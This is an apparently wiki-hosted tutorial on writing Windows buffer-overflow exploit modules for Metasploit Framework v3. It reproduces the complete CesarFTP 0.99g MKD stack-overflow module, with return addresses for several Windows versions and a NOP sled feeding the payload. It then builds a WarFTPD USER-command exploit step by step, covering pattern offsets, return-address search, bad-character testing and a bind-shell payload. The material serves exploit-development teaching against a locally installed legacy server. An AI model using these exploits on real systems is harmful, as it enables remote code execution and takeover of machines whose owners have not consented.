Metasploit/WritingWindowsExploit
Writing a Windows Exploit for the Metasploit Framework
Abstract
editThis page explains how to write a Windows Exploit for the Metasploit Framework v3.x.
This page doesn't explain how to find vulnerabilities. (For this, please see Fuzzing)
Overview
editThe Metasploit Framework helps to write reliable exploits easily and quickly.
The Metasploit Framework uses the Ruby language.
Requirements
editTechnical skills
- Some skills about the use of the Metasploit Framework.
- Some programming skills (Ruby skills are useful but not fully required)
- Some understanding about the Windows memory management (Heap, Stack, Registers)
Materials
- The Metasploit Framework installed and working
- A Windows platform
- A debugger [1]
- A text editor
Getting started
editIn the Metasploit Framework, an exploit is called an "exploit module".
Exploit modules are located by default in:
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\
(also check C:\Documents and Settings\<Your User Name>\Application Data\msf3\modules\exploits if you do not find in above path)
Exploit modules are classified by platforms (OSes) and then by types (protocols).
Editing an exploit module
edit
A good way to understand how an exploit module is written is to first edit one.
We edit this module:
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb
#Notes of the author are noted in red.
## # $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## #Comment lines start with a # (they won't be executed)
require 'msf/core' #We will always need the core library
module Msf #This line should always be present
class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote #The name of the class (Exploits::Windows::Ftp::Cesarftp_Mkd) specifies where the exploit module #is physically located (*\exploits\windows\ftp\cesarftp_mkd.rb). The filename of the exploit #module (cesarftp_mkd.rb) should be the same as the name of the class (Cesarftp_Mkd)
include Exploit::Remote::Ftp #We use MSF's built-in Ftp functions def initialize(info = {}) super(update_info(info, 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', #An understandable, detailed name (displayed in the console) 'Description' => %q{ This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g. #The description of the module/vulnerability }, 'Author' => 'MC', #The (nick)name of the author of this module 'License' => MSF_LICENSE, #Type of license 'Version' => '$Revision: 4419 $', #Version number of the module 'References' => #Various 'URLs' about the vulnerability [ [ 'BID', '18586'], [ 'CVE', '2006–2961'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, #Maximum space available in memory to store the shellcode (payload) 'BadChars' => "\x00\x20\x0a\x0d", #List of the forbidden characters 'StackAdjustment' => -3500, }, 'Platform' => 'win', #Type of the target's platform 'Targets' => #List of the targets and return addresses [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ], ], 'DisclosureDate' => 'Jun 12 2006', #Vulnerability disclosure date 'DefaultTarget' => 0 #Default target used if not specified by the user (in this case: Windows 2000 Pro SP4 English) ) ) end
def check #Function used to check if a target is vulnerable
connect
disconnect
if (banner =~ /CesarFTP 0\.99g/) #We test the banner returned by the server return Exploit::CheckCode::Vulnerable #The server is vulnerable end return Exploit::CheckCode::Safe #The server is NOT vulnerable end
def exploit #We defines our exploit connect_login #We use the Ftp login function
sploit = "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Padding sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded #Return address (little endian converted) + nop sled + payload
print_status("Trying target #{target.name}...")
send_cmd( ['MKD', sploit] , false) #We send our exploit code to the target
handler
disconnect #We close the connection
end
end
end
Writing an exploit module
editThe target
editTo understand how to write an exploit module for the Metasploit Framework, we'll write an exploit for an easily exploitable vulnerability in WarFTPD version 1.5 [2].
(Note that the exploit module for this vulnerability already exists in the Metasploit Framework, but we are trying to build our own exploit.)
We download and install WarFTPD in our local Windows machine.
We start WarFTPD Daemon.
We uncheck the "No anonymous logins" checkbox.
We start the FTP server (click on the "Go Online/Offline" button)
Ok, the server is now waiting for us...
The vulnerability
editThe first thing to do is to find information about the vulnerability in question. There are many possible sources for this.
Here's an example:
http://osvdb.org/displayvuln.php?osvdb_id=875&print
We now see that the bug can be triggered by sending a specially crafted request in the USER command.
Often a very long string will trigger this sort of bug, but let's verify that.
The PoC
editWe first reproduce the vulnerability.
For this, we directly use the Metasploit Framework.
We create the file:
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb
We open this file and write (copy/paste) the following code in it:
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking #The names of the exploit module and the class are 'equal' include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'War-FTPD 1.65 Username Overflow', 'Description' => %q{ This module exploits a buffer overflow found in the USER command of War-FTPD 1.65. }, #End of Description 'Author' => 'Your Name', #Change this value with your (nick)name 'License' => MSF_LICENSE, 'Version' => '$Revision: 1 $', 'References' => [ [ 'URL', 'http://osvdb.org/displayvuln.php?osvdb_id=875&print' ] #The URL mentioned above ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1000, #We actually don't know the correct value for this 'BadChars' => "\x00" #We actually don't know the correct value for this }, 'Targets' => [ # Target 0 [ 'Our Windows Target', #Replace this with your Windows target platform (ie: Windows 2000 SP4) { 'Platform' => 'win', #We exploit a Windows target 'Ret' => 0x01020304 #We actually don't know the correct value for this } ] ] ) #End of update_info() ) #End of super() end #End of initialize def exploit connect print_status("Trying target #{target.name}...") exploit = 'A' * 1000 #We first try to trigger the bug by sending a long string of 1000 "A" send_cmd( ['USER', exploit] , false ) #We send our evil string handler disconnect #We disconnect from the server end #End of exploit end #End of class
The WarFTPD server is running (listening on default port 21/tcp).
We now launch the Metasploit Framework's console.
(Start / Programs / Metasploit3 / MSFConsole)
We can now view our exploit using this command:
show exploits
We now launch our exploit using these commands:
use windows/ftp/warftpd
set RHOST 127.0.0.1
set TARGET 0
set PAYLOAD generic/shell_bind_tcp
exploit
After few seconds we see the WarFTPD Daemon FTP Server disappearing (crashing).
We have successfully reproduced the bug.
Debugging
editTo see what happens when the server crashes, we use a debugger.
We launch again WarFTPD Daemon and attach our debugger to it.
=> In OllyDbg, we use "File/Attach", choose the WarFTPD process, click Ok and after it has been loaded, we press the F9 key to have it Running.
We launch our exploit again.
We can now look at our debugger.
We see that an access violation is triggered.
EIP is overwritten with our evil string (41414141 is the hexadecimal equivalent for AAAA)
Fine tuning
editFinding space available
editWe have to find the space available for our shellcode (payload).
The Metasploit Framework includes tools to help us.
First, we shut down our debugger.
We use the pattern_create() function to generate a string of non-repeating alpha-numeric text string.
We use this function by calling the following script:
C:\Program Files\Metasploit\Framework3\msf3\tools\pattern_create.rb
From a DOS command line console, it gives:
C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_create.rb Usage: pattern_create.rb length [set a] [set b] [set c]
We generate a string of 1000 characters and use it in our exploit to trigger the bug again:
C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_create.rb 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac 6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9 Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak 6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9 Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As 6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9 Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9 Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh
In our PoC code, we replace this line:
exploit = 'A' * 1000
for:
exploit = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac 6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9 Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak 6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9 Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As 6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9 Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9 Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh'
Then, we save our modified PoC code.
We start the War-FTPD FTP server.
We run our debugger and attach it to the War-FTPD process.
We launch our exploit...
Ok, we can now see this in our debugger:
We see that EIP is now overwritten with the value "32714131".
Then we use patternOffset to know the number of characters to send before hitting EIP.
For this, we use the following script:
C:\Program Files\Metasploit\Framework3\framework\tools\pattern_offset.rb
From a DOS command line console, it gives:
C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb Usage: pattern_offset.rb <search item> <length of buffer> Default length of buffer if none is inserted: 8192 This buffer is generated by pattern_create() in the Rex library automatically
So, we now provide the parameters found before like this:
C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb 32714131 1000
The result "485" is displayed. It means that we should have a space of 485 bytes to store our payload.
We add this value in our PoC code:
We modify this line:
'Space' => 1000, #We actually don't know the correct value for this
for:
'Space' => 485,
In this way, when we will load our exploit in the Metasploit Framework (with the "use" command), it will automatically search and display the available payloads with a size lower than 485 (with the "show PAYLOADS" command).
Finding a return address
editWe have now to find a reliable return address.
The best way is to take a return address directly in our target. (in the vulnerable executable itself or in one of the DLLs it uses)
It avoids problems with various versions of Windows and Service Packs, locales, hotfixes...
It would make our exploit universal.
But it is not always so easy.
One way for this is to use the search in memory functionality of OllyDbg.
And, once again, the Metasploit Framework includes tools to help us.
We can use 'msfpescan' to search return addresses for an opcode:
$ ./framework/msfpescan Usage: ./framework/msfpescan [mode] <options> [targets] Modes: -j, --jump [regA,regB,regC] Search for jump equivalent instructions -p, --poppopret Search for pop+pop+ret combinations -r, --regex [regex] Search for regex match -a, --analyze-address [address] Display the code at the specified address -b, --analyze-offset [offset] Display the code at the specified offset -f, --fingerprint Attempt to identify the packer/compiler Options: -M, --memdump The targets are memdump.exe directories -A, --after [bytes] Number of bytes to show after match (-a/-b) -B, --before [bytes] Number of bytes to show before match (-a/-b ) -I, --image-base [address] Specify an alternate ImageBase -h, --help Show this message
We can also use the MSF Opcodes Database:
http://metasploit.com/users/opcode/msfopcode.cgi
Note that the Metasploit Framework includes a built-in client to use this database:
http://www.metasploit.com/projects/Framework/msf3/msfopcode.html
We can also use another nice tool called eereap from eEye:
http://research.eeye.com/html/tools/RT20060801-2.html
We can also find some international return addresses here:
https://www.securinfos.info/international-opcodes/index.php
Dealing with badchars
editWe have now to find and prevent badchars.
We should not include terminating null character in our shellcode as it would break out of the execution.
We have already done this with this in our exploit: 'BadChars' => "\x00"
Additionally, a target application will often modify the data received before the application will work with the data.
An example is an application that will change all characters to uppercase.
As this will modify our shellcode, we have to deal with it.
For this, the Metasploit Framework will encode our shellcode to obtain one without any specified badchars.
We just have to specify the list of badchars in our exploit code.
So, to find the badchars, we will send a string containing all the characters of the ASCII table, with both printable and non-printable ones.
The string will look like this:
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d
\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c
\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b
\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a
\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9
\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8
\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7
\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
@ We edit our exploit code and put the above string in it.
Then, having our target application running and our debugger attached to its process; we relaunch our exploit.
Under the debugger, after the access violation is triggered, we right click on the esp register and choose the option "follow in dump".
We will now see our string and check what are the missing or modified characters at the end of the string.
It is our first badchars. (note it)
We remove it in our exploit code, and do it@ again...
until we see all the characters sended in our debugger.
Now we write, in the badchars section of our exploit, the characters found as badchars (removed or modified by the application).
References
edit[1] Free Windows Debuggers
http://www.ollydbg.de/
http://www.microsoft.com/whdc/devtools/debugging/default.mspx
[2] WarFTPD v1.5 download link https://www.securinfos.info/old_softwares_vulnerable/WarFTP165_vulnerable_USER_BufferOverflow.exe
http://www.milw0rm.com/papers/142
Metasploit Framework v3.0 Developer Documentation:
http://Metasploit.com/projects/Framework/msf3/
Exploit Module Tutorial:
http://Metasploit.com/projects/Framework/documentation.html#exploitTutorial
Vinnie Liu - Writing Exploits III:
http://www.syngress.com/book_catalog/327_SSPC/sample.pdf
http://www.securityforest.com/wiki/index.php/Category:Buffer_Overflows_Education
https://www.securinfos.info/english/security-papers-hacking-whitepapers.php
https://www.securinfos.info/VNSECON2007/VNSECON07-JA-Exploit_development.pdf
Developing My First Exploit - by MaXe (thanks to Jerome Athias)
Video Guide: http://guides.intern0t.net/msf2.php